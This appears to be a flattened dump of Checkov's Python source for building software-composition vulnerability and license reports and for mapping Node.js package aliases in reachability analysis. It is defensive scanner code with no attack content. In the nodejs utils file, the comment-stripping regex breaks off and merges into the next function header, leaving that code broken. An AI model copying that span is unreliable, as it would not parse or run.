-> None: if scan_data_format in {ScanDataFormat.TWISTCLI, ScanDataFormat.DEPENDENCY_TREE}: lowest_fixed_version = UNFIXABLE_VERSION package_version = vulnerability_details["packageVersion"] fixed_versions: list[packaging_version.Version | packaging_version.LegacyVersion] = [] status = vulnerability_details.get("status") or "open" if status != "open": parsed_current_version = packaging_version.parse(package_version) for version in status.replace("fixed in", "").split(","): parsed_version = packaging_version.parse(version.strip()) if parsed_version > parsed_current_version: fixed_versions.append(parsed_version) if fixed_versions: lowest_fixed_version = str(min(fixed_versions)) details.update({"status": status, "lowest_fixed_version": lowest_fixed_version, "fixed_versions": fixed_versions, "image_details": sca_details}) elif scan_data_format == ScanDataFormat.PLATFORM: status = vulnerability_details["status"] fix_version = vulnerability_details.get("cveStatus") details.update({"status": status, "fix_version": fix_version}) def get_code_block(package: dict[str, Any], package_name: str, package_version: str, root_package: Optional[dict[str, Any]] = None) -> list[tuple[int, str]]: if root_package: root_lines_number = root_package.get("lines") root_code_block = root_package.get("code_block") if root_lines_number and root_code_block: return [(int(root_lines_number[0]), root_code_block)] lines_number = package.get("lines") code_block = package.get("code_block") if lines_number and code_block: return [(int(lines_number[0]), code_block)] return [(0, f"{package_name}: {package_version}")] def get_fix_command_and_code(vulnerability_details: dict[str, Any], root_package: dict[str, Any] | None = None, root_package_cve: dict[str, Any] | None = None ) -> tuple[dict[str, Any] | None, str | None]: if root_package_cve: return root_package_cve.get('fixCommand'), root_package_cve.get('fixCode') if root_package and ( root_package['name'] != vulnerability_details["packageName"] or root_package['version'] != vulnerability_details["packageVersion"]): return None, None return vulnerability_details.get('fixCommand'), vulnerability_details.get('fixCode') def get_package_lines_numbers(package: dict[str, Any], root_package: dict[str, Any] | None = None, file_line_range: list[int] | None = None) -> list[int]: if root_package: return get_record_file_line_range(root_package, file_line_range) return get_record_file_line_range(package, file_line_range) def create_report_cve_record( rootless_file_path: str, file_abs_path: str, check_class: str, vulnerability_details: dict[str, Any], licenses: str, package: dict[str, Any], used_private_registry: bool = False, root_package: dict[str, Any] | None = None, runner_filter: RunnerFilter | None = None, sca_details: SCADetails | None = None, scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI, file_line_range: list[int] | None = None, root_package_cve: dict[str, Any] | None = None ) -> Record: runner_filter = runner_filter or RunnerFilter() package_name = vulnerability_details["packageName"] package_version = vulnerability_details["packageVersion"] package_type = get_package_type(package_name, package_version, sca_details) cve_id = vulnerability_details.get("id", vulnerability_details.get("cveId", '')).upper() severity = vulnerability_details.get("severity", DEFAULT_SEVERITY) # sanitize severity names if severity == "moderate": severity = "medium" if severity.upper() not in Severities: logging.warning( f"unknown severity - severity '{severity}' is unknown. using the DEFAULT_SEVERITY: '{DEFAULT_SEVERITY}' instead. " f"vulnerabilities-details: {vulnerability_details}") severity = DEFAULT_SEVERITY description = vulnerability_details.get("description") check_result: _CheckResult = { "result": CheckResult.FAILED, } if runner_filter.skip_cve_package and package_name in runner_filter.skip_cve_package: check_result = { "result": CheckResult.SKIPPED, "suppress_comment": f"Filtered by package '{package_name}'", } elif not runner_filter.within_threshold(Severities[severity.upper()]): check_result = { "result": CheckResult.SKIPPED, "suppress_comment": "Filtered by severity", } code_block = get_code_block(package, package_name, package_version, root_package) fix_command, fix_code = get_fix_command_and_code(vulnerability_details, root_package, root_package_cve) details = { "id": cve_id, "severity": severity, "package_name": package_name, "package_version": package_version, "package_registry": get_registry_url(package), "is_private_registry": package.get("isPrivateRegistry", False), "package_type": package_type, "link": vulnerability_details.get("link"), "cvss": vulnerability_details.get("cvss"), "vector": vulnerability_details.get("vector"), "description": description, "risk_factors": vulnerability_details.get("riskFactorsV2"), "published_date": vulnerability_details.get("publishedDate") or (datetime.now() - timedelta( days=vulnerability_details.get("publishedDays", 0))).isoformat(), "licenses": licenses, "root_package_name": root_package.get("name") if root_package else None, "root_package_version": root_package.get("version") if root_package else None, "root_package_file_line_range": get_package_lines(root_package) if root_package else None or [0, 0], "fix_command": fix_command } if used_private_registry: details["is_private_fix"] = vulnerability_details.get("isPrivateRegFix", False) if root_package_cve and root_package_cve.get('fixVersion'): details['root_package_fix_version'] = root_package_cve.get('fixVersion') _update_details_by_scan_data_format(details, vulnerability_details, sca_details, scan_data_format) record = Record( check_id=f"CKV_{cve_id.replace('-', '_')}", bc_check_id=f"BC_{cve_id.replace('-', '_')}", check_name=SCA_PACKAGE_SCAN_CHECK_NAME, check_result=check_result, code_block=code_block, file_path=get_file_path_for_record(rootless_file_path), file_line_range=get_package_lines_numbers(package, root_package, file_line_range), resource=get_resource_for_record(rootless_file_path, package_name), check_class=check_class, evaluations=None, file_abs_path=file_abs_path, severity=Severities[severity.upper()], description=description, short_description=f"{cve_id} - {package_name}: {package_version}", vulnerability_details=details, ) record.fixed_definition = fix_code # type: ignore return record def _add_to_report_licenses_statuses( report: Report, check_class: str | None, scanned_file_path: str, rootless_file_path: str, runner_filter: RunnerFilter, packages_map: dict[str, dict[str, Any]], license_statuses: list[_LicenseStatus], sca_details: SCADetails | None = None, report_type: str | None = None, inline_suppressions_maps: _ScaSuppressionsMaps | None = None, ) -> dict[str, list[str]]: licenses_per_package_map: dict[str, list[str]] = defaultdict(list) for license_status in license_statuses: # filling 'licenses_per_package_map', will be used in the call to 'create_report_cve_record' for efficient # extracting of license per package package_name, package_version, license = ( license_status["package_name"], license_status["package_version"], license_status["license"], ) package_alias = get_package_alias(package_name, package_version) licenses_per_package_map[package_alias].append(license) policy = license_status["policy"] severity = metadata_integration.get_severity(policy) license_record = create_report_license_record( rootless_file_path=rootless_file_path, file_abs_path=scanned_file_path, check_class=check_class or "", licenses_status=license_status, package=packages_map.get(package_alias, {}), sca_details=sca_details, severity=severity ) vulnerability_details = license_record.vulnerability_details or {} # apply inline suppressions suppressed = apply_licenses_inline_suppressions( record=license_record, vulnerability_details=vulnerability_details, inline_suppressions_maps=inline_suppressions_maps ) if not suppressed and not runner_filter.should_run_check( check_id=policy, bc_check_id=policy, severity=severity, report_type=report_type, ): if runner_filter.checks: continue else: license_record.check_result = { "result": CheckResult.SKIPPED, "suppress_comment": f"{policy} is skipped", } report.add_resource(license_record.resource) report.add_record(license_record) return licenses_per_package_map def get_inline_suppressions_map(inline_suppressions: _ScaSuppressions | None = None) -> _ScaSuppressionsMaps | None: if not inline_suppressions: return None suppressions_map: _ScaSuppressionsMaps = {} # fill cves suppressions map cve_suppresion_by_cve_map: dict[str, _SuppressedCves] = {} inline_suppressions_by_cve: list[_SuppressedCves] = inline_suppressions.get("cves", {}).get("byCve", []) for cve_suppression in inline_suppressions_by_cve: cve_id = cve_suppression.get("cveId") if cve_id: cve_suppresion_by_cve_map[cve_id] = cve_suppression # fill licenses suppressions map licenses_suppressions_by_policy_and_package_map: dict[str, _SuppressedLicenses] = {} inline_suppressions_by_license: list[_SuppressedLicenses] = inline_suppressions.get("licenses", {}).get("byPackage", []) for license_suppression in inline_suppressions_by_license: if license_suppression.get("licensePolicy") and license_suppression.get("packageName"): key = get_license_policy_and_package_alias(license_suppression["licensePolicy"], license_suppression["packageName"]) licenses_suppressions_by_policy_and_package_map[key] = license_suppression suppressions_map['cve_suppresion_by_cve_map'] = cve_suppresion_by_cve_map suppressions_map[ 'licenses_suppressions_by_policy_and_package_map'] = licenses_suppressions_by_policy_and_package_map return suppressions_map def add_to_reports_cves_and_packages( report: Report, check_class: str | None, scanned_file_path: str, rootless_file_path: str, runner_filter: RunnerFilter, vulnerabilities: list[dict[str, Any]], packages: list[dict[str, Any]], packages_map: dict[str, dict[str, Any]], licenses_per_package_map: dict[str, list[str]], used_private_registry: bool = False, dependencies: dict[str, List[int]] | None = None, sca_details: SCADetails | None = None, report_type: str | None = None, inline_suppressions_maps: _ScaSuppressionsMaps | None = None, scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI, file_line_range: list[int] | None = None ) -> None: is_dependency_tree_flow = bool(dependencies) vulnerable_packages, root_packages_list = create_vulnerable_packages_dict(vulnerabilities, packages, is_dependency_tree_flow) for package in packages: package_name, package_version = package["name"], package["version"] package_alias = get_package_alias(package_name, package_version) if package_alias in vulnerable_packages: package["cves"] = vulnerable_packages[package_alias] else: # adding resources without cves for adding them also in the output-bom-repors add_extra_resources_to_report(report, scanned_file_path, rootless_file_path, package, package_alias, licenses_per_package_map, sca_details) if is_dependency_tree_flow: add_to_reports_dependency_tree_cves(check_class, packages_map, licenses_per_package_map, packages, report, root_packages_list, rootless_file_path, runner_filter, scanned_file_path, used_private_registry, scan_data_format, sca_details, report_type, inline_suppressions_maps) else: # twistlock scan results. for vulnerability in vulnerabilities: package_name, package_version = vulnerability["packageName"], vulnerability["packageVersion"] add_cve_record_to_report(vulnerability_details=vulnerability, package_name=package_name, package_version=package_version, packages_map=packages_map, rootless_file_path=rootless_file_path, scanned_file_path=scanned_file_path, check_class=check_class or "", licenses_per_package_map=licenses_per_package_map, runner_filter=runner_filter, sca_details=sca_details, scan_data_format=scan_data_format, report_type=report_type, report=report, inline_suppressions_maps=inline_suppressions_maps, file_line_range=file_line_range, used_private_registry=used_private_registry) def add_to_reports_dependency_tree_cves(check_class: str | None, packages_map: dict[str, dict[str, Any]], licenses_per_package_map: dict[str, list[str]], packages: list[dict[str, Any]], report: Report, root_packages_list: list[int], rootless_file_path: str, runner_filter: RunnerFilter, scanned_file_path: str, used_private_registry: bool = False, scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI, sca_details: SCADetails | None = None, report_type: str | None = None, inline_suppressions_maps: _ScaSuppressionsMaps | None = None) -> None: for root_package_index in root_packages_list: vulnerable_dependencies = find_vulnerable_dependencies(root_package_index, packages) root_package = packages[root_package_index] if len(root_package.get("cves", [])) > 0 or len(vulnerable_dependencies) > 0: root_package["vulnerable_dependencies"] = vulnerable_dependencies indirect_packages: dict[str, Any] = dict() for cve in root_package.get("cves", []): if 'causePackageName' in cve: cve_alias = f'{cve["cveId"]}@{cve["causePackageName"]}@{cve["causePackageVersion"]}' indirect_packages[cve_alias] = cve continue add_cve_record_to_report(vulnerability_details=cve, package_name=root_package['name'], package_version=root_package['version'], packages_map=packages_map, rootless_file_path=rootless_file_path, scanned_file_path=scanned_file_path, check_class=check_class, licenses_per_package_map=licenses_per_package_map, runner_filter=runner_filter, sca_details=sca_details, scan_data_format=scan_data_format, report_type=report_type, report=report, root_package=root_package, inline_suppressions_maps=inline_suppressions_maps, used_private_registry=used_private_registry) for dep in root_package.get("vulnerable_dependencies", []): for dep_cve in dep.get("cves", []): cve_alias = f'{dep_cve["cveId"]}@{dep_cve["packageName"]}@{dep_cve["packageVersion"]}' root_package_cve = None if cve_alias in indirect_packages: root_package_cve = indirect_packages[cve_alias] add_cve_record_to_report(vulnerability_details=dep_cve, package_name=dep['name'], package_version=dep['version'], packages_map=packages_map, rootless_file_path=rootless_file_path, scanned_file_path=scanned_file_path, check_class=check_class, licenses_per_package_map=licenses_per_package_map, runner_filter=runner_filter, sca_details=sca_details, scan_data_format=scan_data_format, report_type=report_type, report=report, root_package=root_package, inline_suppressions_maps=inline_suppressions_maps, used_private_registry=used_private_registry, root_package_cve=root_package_cve) def add_cve_record_to_report(vulnerability_details: dict[str, Any], package_name: str, package_version: str, packages_map: dict[str, dict[str, Any]], rootless_file_path: str, scanned_file_path: str, check_class: Optional[str], licenses_per_package_map: dict[str, list[str]], runner_filter: RunnerFilter, sca_details: Optional[SCADetails], scan_data_format: ScanDataFormat, report_type: Optional[str], report: Report, used_private_registry: bool = False, root_package: dict[str, Any] | None = None, inline_suppressions_maps: _ScaSuppressionsMaps | None = None, file_line_range: list[int] | None = None, root_package_cve: dict[str, Any] | None = None) -> None: package_alias = get_package_alias(package_name, package_version) cve_record = create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=scanned_file_path, check_class=check_class or "", vulnerability_details=vulnerability_details, licenses=format_licenses_to_string(licenses_per_package_map[package_alias]), package=packages_map.get(package_alias, {}), runner_filter=runner_filter, sca_details=sca_details, scan_data_format=scan_data_format, root_package=root_package, root_package_cve=root_package_cve, file_line_range=file_line_range, used_private_registry=used_private_registry ) suppressed = apply_cves_inline_suppressions( record=cve_record, inline_suppressions_maps=inline_suppressions_maps ) if not suppressed and not runner_filter.should_run_check( check_id=cve_record.check_id, bc_check_id=cve_record.bc_check_id, severity=cve_record.severity, report_type=report_type, ): if runner_filter.checks: return else: cve_record.check_result = { "result": CheckResult.SKIPPED, "suppress_comment": f"{vulnerability_details.get('cveId', vulnerability_details.get('id', ''))} is skipped" } report.add_resource(cve_record.resource) report.add_record(cve_record) def apply_cves_inline_suppressions( record: Record, inline_suppressions_maps: _ScaSuppressionsMaps | None = None ) -> bool: """Applies the inline suppression and returns an accomplish status""" if inline_suppressions_maps and record.vulnerability_details and inline_suppressions_maps.get( "cve_suppresion_by_cve_map"): cve_id = record.vulnerability_details.get("id", "") cve_suppression = inline_suppressions_maps["cve_suppresion_by_cve_map"].get(cve_id) if cve_suppression: record.check_result = { "result": CheckResult.SKIPPED, "suppress_comment": cve_suppression.get('reason', ''), } return True return False def apply_licenses_inline_suppressions( record: Record, vulnerability_details: dict[str, Any], inline_suppressions_maps: _ScaSuppressionsMaps | None = None ) -> bool: """Applies the inline suppression and returns an accomplish status""" if inline_suppressions_maps and inline_suppressions_maps.get("licenses_suppressions_by_policy_and_package_map"): key = get_license_policy_and_package_alias(vulnerability_details.get("policy", ""), vulnerability_details.get("package_name", "")) license_suppression = inline_suppressions_maps["licenses_suppressions_by_policy_and_package_map"].get(key) if license_suppression: record.check_result = { "result": CheckResult.SKIPPED, "suppress_comment": license_suppression.get('reason', ''), } return True return False def find_vulnerable_dependencies(root_package_index: int, packages: list[dict[str, Any]]) -> list[dict[str, Any]]: vulnerable_dependencies: list[dict[str, Any]] = [] for vulnerable_dependency_idx in packages[root_package_index].get('vulnerable_dependencies', []): vulnerable_dependencies.append(packages[vulnerable_dependency_idx]) return vulnerable_dependencies def create_root_packages_list(root_packages_list: list[int], packages: list[dict[str, Any]], package: dict[str, Any], dependencies: Optional[Dict[str, List[int]]]) -> None: if dependencies: if package.get("root", ""): root_packages_list.append(packages.index(package)) else: # if we don't have dependencies, all packages will be "roots" root_packages_list.append(packages.index(package)) def create_vulnerable_packages_dict(vulnerabilities: list[dict[str, Any]], packages: list[dict[str, Any]], is_dependency_tree_flow: bool) -> tuple[dict[str, list[dict[str, Any]]], list[int]]: vulnerable_packages: dict[str, list[dict[str, Any]]] = dict() root_packages_list: list[int] = [] if is_dependency_tree_flow: for package_idx, package in enumerate(packages): if package.get("root", False): root_packages_list.append(package_idx) package_alias = get_package_alias(package["name"], package["version"]) for cve_idx in package.get('cves_index', []): vulnerable_packages.setdefault(package_alias, []).append(vulnerabilities[cve_idx]) else: for vulnerability in vulnerabilities: package_alias = get_package_alias(vulnerability["packageName"], vulnerability["packageVersion"]) vulnerable_packages.setdefault(package_alias, []).append(vulnerability) return vulnerable_packages, root_packages_list def add_extra_resources_to_report(report: Report, scanned_file_path: str, rootless_file_path: str, package: dict[str, Any], package_alias: str, licenses_per_package_map: dict[str, list[str]], sca_details: Optional[SCADetails]) -> None: package_name, package_version = package["name"], package["version"] report.extra_resources.add( ExtraResource( file_abs_path=scanned_file_path, file_path=get_file_path_for_record(rootless_file_path), resource=get_resource_for_record(rootless_file_path, package_name), file_line_range=get_package_lines(package), vulnerability_details={ "package_name": package_name, "package_version": package_version, "package_registry": get_registry_url(package), "is_private_registry": package.get("isPrivateRegistry", False), "licenses": format_licenses_to_string( licenses_per_package_map[package_alias]), "package_type": get_package_type(package_name, package_version, sca_details) }, ) ) def add_to_report_sca_data( report: Report, check_class: str | None, scanned_file_path: str, rootless_file_path: str, runner_filter: RunnerFilter, vulnerabilities: list[dict[str, Any]], packages: list[dict[str, Any]], license_statuses: list[_LicenseStatus], used_private_registry: bool = False, dependencies: dict[str, list[int]] | None = None, sca_details: SCADetails | None = None, report_type: str | None = None, inline_suppressions: _ScaSuppressions | None = None, file_line_range: list[int] | None = None ) -> None: inline_suppressions_maps: _ScaSuppressionsMaps | None = get_inline_suppressions_map(inline_suppressions) packages_map: dict[str, dict[str, Any]] = {get_package_alias(p["name"], p["version"]): p for p in packages} licenses_per_package_map: dict[str, list[str]] = \ _add_to_report_licenses_statuses(report, check_class, scanned_file_path, rootless_file_path, runner_filter, packages_map, license_statuses, sca_details, report_type, inline_suppressions_maps) # if dependencies is empty list it means we got results via DependencyTree scan but no dependencies have found. add_to_reports_cves_and_packages(report=report, check_class=check_class, scanned_file_path=scanned_file_path, rootless_file_path=rootless_file_path, runner_filter=runner_filter, vulnerabilities=vulnerabilities, packages=packages, packages_map=packages_map, licenses_per_package_map=licenses_per_package_map, sca_details=sca_details, report_type=report_type, scan_data_format=ScanDataFormat.DEPENDENCY_TREE, dependencies=dependencies, inline_suppressions_maps=inline_suppressions_maps, file_line_range=file_line_range, used_private_registry=used_private_registry) def _get_request_input(packages: list[dict[str, Any]]) -> list[dict[str, Any]]: return [ {"name": package.get("name", ""), "version": package.get("version", ""), "lang": normalize_twistcli_language(package.get("type", ""))} for package in packages ] def get_license_statuses(packages: list[dict[str, Any]]) -> list[_LicenseStatus]: requests_input = _get_request_input(packages) if not requests_input: return [] try: response = request_wrapper( method="POST", url=f"{bc_integration.api_url}/api/v1/vulnerabilities/packages/get-licenses-violations", headers=bc_integration.get_default_headers("POST"), json={"packages": requests_input}, should_call_raise_for_status=True ) response_json = response.json() license_statuses: list[_LicenseStatus] = _extract_license_statuses(response_json) return license_statuses except Exception: error_message = ( "failing when trying to get licenses-violations. it is apparently some unexpected " "connection issue. please try later. in case it keep happening. please report." ) logging.info(error_message, exc_info=True) return [] async def get_license_statuses_async(packages: list[dict[str, Any]], image_name: str) -> _ImageReferencerLicenseStatus: """ This is an async implementation of `get_license_statuses`. The only change is we're getting a session as an input, and the asyncio behavior is managed in the calling method. """ requests_input = _get_request_input(packages) url = f"{bc_integration.api_url}/api/v1/vulnerabilities/packages/get-licenses-violations" if not requests_input: return {'image_name': image_name, 'licenses': []} try: response = await aiohttp_client_session_wrapper("POST", url, headers=bc_integration.get_default_headers("POST"), payload={"packages": requests_input}) response_json = await response.json() license_statuses = _extract_license_statuses(response_json) return {'image_name': image_name, 'licenses': license_statuses} except Exception as e: error_message = ( "failing when trying to get licenses-violations. it is apparently some unexpected " "connection issue. please try later. in case it keeps happening, please report." f"Error: {str(e)}" ) logging.info(error_message, exc_info=True) return {'image_name': image_name, 'licenses': []} def _extract_license_statuses(response_json: dict[str, list[dict[str, str]]]) -> list[_LicenseStatus]: license_statuses: list[_LicenseStatus] = [ { "package_name": license_violation.get("name", ""), "package_version": license_violation.get("version", ""), "policy": license_violation.get("policy", "BC_LIC1"), "license": license_violation.get("license", ""), "status": license_violation.get("status", "COMPLIANT") } for license_violation in response_json.get("violations", []) ] return license_statuses ================================================ FILE: checkov/common/sca/reachability/__init__.py ================================================ ================================================ FILE: checkov/common/sca/reachability/package_alias_mapping/__init__.py ================================================ ================================================ FILE: checkov/common/sca/reachability/package_alias_mapping/abstract_alias_mapping_strategy.py ================================================ from abc import ABC, abstractmethod from typing import List, Dict, Set, Callable, Any import logging import os class AbstractAliasMappingStrategy(ABC): @abstractmethod def get_language(self) -> str: pass @abstractmethod def get_file_name_to_parser_map(self) -> Dict[str, Callable[[str, Set[str]], Dict[str, Any]]]: pass @staticmethod def _add_package_aliases(alias_mapping: Dict[str, Any], language: str, repository_name: str, file_relative_path: str, package_name: str, package_aliases: List[str]) -> None: package_aliases_for_file = alias_mapping["languages"].setdefault(language, {"repositories": {}})["repositories"] \ .setdefault(repository_name, {"files": {}})["files"] \ .setdefault(file_relative_path, {"packageAliases": {}})["packageAliases"] if package_name in package_aliases_for_file: raise Exception(f"aliases for \'{package_name}\' in the file \'{file_relative_path}\' in the repository " f"\'{repository_name}\' already were set") package_aliases_for_file[package_name] = {"packageAliases": package_aliases} def update_alias_mapping(self, alias_mapping: Dict[str, Any], repository_name: str, root_dir: str, relevant_packages: Set[str])\ -> None: logging.debug("[AbstractAliasMappingStrategy](create_alias_mapping) - starting") file_name_to_parser_map = self.get_file_name_to_parser_map() for curr_root, _, f_names in os.walk(root_dir): for file_name in f_names: if file_name in file_name_to_parser_map: logging.debug(f"[AbstractAliasMappingStrategy](create_alias_mapping) - starting parsing ${file_name}") file_absolute_path = os.path.join(curr_root, file_name) file_relative_path = os.path.relpath(file_absolute_path, root_dir) with open(file_absolute_path) as f: file_content = f.read() try: output = file_name_to_parser_map[file_name](file_content, relevant_packages) for package_name in output["packageAliases"]: self._add_package_aliases(alias_mapping, self.get_language(), repository_name, file_relative_path, package_name, output["packageAliases"][package_name]["packageAliases"]) logging.debug( f"[AbstractAliasMappingStrategy](create_alias_mapping) - done parsing for ${file_name}") except Exception: logging.error(f"[AbstractAliasMappingStrategy](create_alias_mapping) - failure when " f"parsing the file '${file_name}'. file content:\n{file_content}.\n", exc_info=True) raise ================================================ FILE: checkov/common/sca/reachability/package_alias_mapping/alias_mapping_creator.py ================================================ from __future__ import annotations from typing import Dict, Set, Any from checkov.common.sca.reachability.package_alias_mapping.abstract_alias_mapping_strategy import AbstractAliasMappingStrategy from checkov.common.sca.reachability.package_alias_mapping.nodejs.nodejs_alias_mapping_strategy import NodejsAliasMappingStrategy language_to_strategy: Dict[str, AbstractAliasMappingStrategy] = { "nodejs": NodejsAliasMappingStrategy() } class AliasMappingCreator: def __init__(self) -> None: self._alias_mapping: Dict[str, Any] = {"languages": {}} def update_alias_mapping_for_repository( self, repository_name: str, repository_root_dir: str, relevant_packages: Set[str] ) -> None: for lang in language_to_strategy: language_to_strategy[lang].update_alias_mapping(self._alias_mapping, repository_name, repository_root_dir, relevant_packages) def get_alias_mapping(self) -> Dict[str, Any]: return self._alias_mapping ================================================ FILE: checkov/common/sca/reachability/package_alias_mapping/nodejs/__init__.py ================================================ ================================================ FILE: checkov/common/sca/reachability/package_alias_mapping/nodejs/nodejs_alias_mapping_strategy.py ================================================ from __future__ import annotations from typing import Dict, Set, Callable, Any from checkov.common.sca.reachability.package_alias_mapping.abstract_alias_mapping_strategy import AbstractAliasMappingStrategy from checkov.common.sca.reachability.package_alias_mapping.nodejs.utils import parse_webpack_file, parse_tsconfig_file, parse_babel_file, \ parse_rollup_file, parse_package_json_file, parse_snowpack_file, parse_vite_file class NodejsAliasMappingStrategy(AbstractAliasMappingStrategy): def get_language(self) -> str: return "nodejs" def get_file_name_to_parser_map(self) -> Dict[str, Callable[[str, Set[str]], Dict[str, Any]]]: return { "webpack.config.js": parse_webpack_file, "tsconfig.json": parse_tsconfig_file, ".babelrc": parse_babel_file, "babel.config.js": parse_babel_file, "rollup.config.js": parse_rollup_file, "package.json": parse_package_json_file, "snowpack.config.js": parse_snowpack_file, "vite.config.js": parse_vite_file } ================================================ FILE: checkov/common/sca/reachability/package_alias_mapping/nodejs/utils.py ================================================ from __future__ import annotations import logging import os.path from json import JSONDecodeError from typing import Dict, Set, Any import re import json import os MODULE_EXPORTS_PATTERN = r'module\.exports\s*=\s*({.*?});' EXPORT_DEFAULT_PATTERN = r'export\s*default\s*({.*?});' def load_json_with_comments(json_str: str) -> Any: # Regular expression to remove comments (both single line and multi-line) pattern = r'(? Dict[str, Any] | None: module_export_match = re.search(pattern, file_content, re.DOTALL) if module_export_match: module_exports_str = module_export_match.group(1) # for having for all the keys and values double quotes and removing spaces module_exports_str = re.sub(r'\s+', '', re.sub(r'([{\s,])(\w+):', r'\1"\2":', module_exports_str) .replace("'", "\"")) module_exports: Dict[str, Any] = json.loads(module_exports_str) return module_exports return None def parse_webpack_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]: output: Dict[str, Any] = {"packageAliases": {}} module_exports_json = _parse_export(file_content, MODULE_EXPORTS_PATTERN) if module_exports_json: aliases = module_exports_json.get("resolve", {}).get("alias", {}) for imported_name in aliases: package_name = aliases[imported_name] if package_name in relevant_packages: output["packageAliases"].setdefault(package_name, {"packageAliases": []})["packageAliases"].append(imported_name) return output def parse_tsconfig_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]: output: Dict[str, Any] = {"packageAliases": {}} tsconfig_json = load_json_with_comments(file_content) paths = tsconfig_json.get("compilerOptions", {}).get("paths", {}) for imported_name in paths: for package_relative_path in paths[imported_name]: package_name = os.path.basename(package_relative_path) if package_name in relevant_packages: output["packageAliases"].setdefault(package_name, {"packageAliases": []})["packageAliases"].append(imported_name) return output def parse_babel_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]: output: Dict[str, Any] = {"packageAliases": {}} babelrc_json = load_json_with_comments(file_content) plugins = babelrc_json.get("plugins", {}) for plugin in plugins: if len(plugin) > 1: plugin_object = plugin[1] aliases = plugin_object.get("alias", {}) for imported_name in aliases: package_name = aliases[imported_name] if package_name in relevant_packages: output["packageAliases"].setdefault(package_name, {"packageAliases": []})["packageAliases"].append(imported_name) return output def parse_rollup_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]: output: Dict[str, Any] = {"packageAliases": {}} export_default_match = re.search(EXPORT_DEFAULT_PATTERN, file_content, re.DOTALL) if export_default_match: export_default_str = export_default_match.group(1) # for having for all the keys and values double quotes and removing spaces export_default_str = re.sub(r'\s+', '', re.sub(r'([{\s,])(\w+):', r'\1"\2":', export_default_str) .replace("'", "\"")) # Defining a regular expression pattern to match the elements within the "plugins" list pattern = r'alias\(\{[^)]*\}\)' matches = re.findall(pattern, export_default_str) for alias_object_str in matches: alias_object = json.loads(alias_object_str[6:-1]) # removing 'alias(' and ')' for entry in alias_object.get("entries", []): package_name = entry["replacement"] if entry["replacement"] in relevant_packages: imported_name = entry["find"] output["packageAliases"].setdefault(package_name, {"packageAliases": []})["packageAliases"].append(imported_name) return output def parse_package_json_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]: output: Dict[str, Any] = {"packageAliases": {}} try: package_json = load_json_with_comments(file_content) except JSONDecodeError: logging.warning('unable to parse package json file') return output aliases: Dict[str, str] = dict() if "alias" in package_json: aliases.update(package_json["alias"]) if package_json.get("aliasify", {}).get("aliases"): aliases.update(package_json["aliasify"]["aliases"]) for imported_name in aliases: package_name = aliases[imported_name] if package_name in relevant_packages: output["packageAliases"].setdefault(package_name, {"packageAliases": []})["packageAliases"].append(imported_name) return output def parse_snowpack_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]: output: Dict[str, Any] = {"packageAliases": {}} module_exports_json = _parse_export(file_content, MODULE_EXPORTS_PATTERN) if module_exports_json: aliases = module_exports_json.get("alias", {}) for imported_name in aliases: package_name = aliases[imported_name] if package_name in relevant_packages: if package_name in relevant_packages: output["packageAliases"].setdefault(package_name, {"packageAliases": []})["packageAliases"].append(imported_name) return output def parse_vite_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]: output: Dict[str, Any] = {"packageAliases": {}} export_default_match = _parse_export(file_content, EXPORT_DEFAULT_PATTERN) if export_default_match: aliases = export_default_match.get("resolve", {}).get("alias", {}) for imported_name in aliases: package_name = aliases[imported_name] if package_name in relevant_packages: output["packageAliases"].setdefault(package_name, {"packageAliases": []})["packageAliases"].append(imported_name) return output ================================================ FILE: checkov/common/sca/reachability/sast_contract/__init__.py ================================================ ================================================ FILE: checkov/common/sca/reachability/sast_contract/data_fetcher_sast_lib.py ================================================ import asyncio import logging from typing import Set, Dict, Any, Union from pydantic import ValidationError from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.sca.reachability.package_alias_mapping.alias_mapping_creator import AliasMappingCreator from .models import ReachabilityRunConfig, ReachabilityData RELEVANT_PACKAGES = {"Mongoose", "Node-etsy-client", "semver", "moment", "sails", "protobufjs", "qs", "@angular/core", "minimist", "ansi-regex", "minimatch", "request", "axios", "lodash", "http-cache-semantics", "node-sass", "got", "jquery", "file-type", "bootstrap", "tough-cookie", "aws-sdk-js-v3", "aws-sdk-js", "tar", "json-schema", "path-parse", "decode-uri-component", "angular", "hosted-git-info", "ajv", "y18n", "ini", "materialize-css", "shelljs", "async", "ssri", "xml2js", "chart.js", "validator", "glob-parent", "npm/cli", "postcss", "gatsby-plugin-sharp", "json5", "xmldom", "debug", "terser", "brace-expansion", "sshpk", "is-my-json-valid", "ms", "jsonpointer", "bl", "fstream", "npm-user-validate", "chownr", "hawk", "extend", "@hapi/hoek", "@hapi/cryptiles", "casperjs", "marked", "karma", "swig-templates", "bson", "word-wrap", "fresh", "pug", "dicer"} class SastReachabilityDataFetcher: def __init__(self) -> None: self.alias_mapping_creator = AliasMappingCreator() self.reachability_run_config_raw: Union[Dict[str, Any], None] = None self.reachability_run_config: Union[ReachabilityRunConfig, None] = None def fetch(self, repository_name: str, repository_root_dir: str) -> Union[ReachabilityData, None]: self.reachability_run_config_raw = bc_integration.get_reachability_run_config() if not self.reachability_run_config_raw: logging.error('reachability_run_config is null, unable to proceed', exc_info=True) return None try: self.reachability_run_config = ReachabilityRunConfig(packageNamesForMapping=RELEVANT_PACKAGES) except ValidationError: logging.error('Unable to serialize reachability run_config', exc_info=True) return None try: result = ReachabilityData( aliasMapping=self._fetch_alias_mapping(repository_name=repository_name, repository_root_dir=repository_root_dir, relevant_packages=self.reachability_run_config.packageNamesForMapping) ) except ValidationError: logging.error('Unable to serialize reachability data', exc_info=True) return None return result def _fetch_alias_mapping(self, repository_name: str, repository_root_dir: str, relevant_packages: Set[str]) -> Dict[str, Any]: self.alias_mapping_creator.update_alias_mapping_for_repository( repository_name=repository_name, repository_root_dir=repository_root_dir, relevant_packages=relevant_packages ) res: Dict[str, Any] = self.alias_mapping_creator.get_alias_mapping() asyncio.run(bc_integration.persist_reachability_alias_mapping(res)) return res ================================================ FILE: checkov/common/sca/reachability/sast_contract/models.py ================================================ from typing import 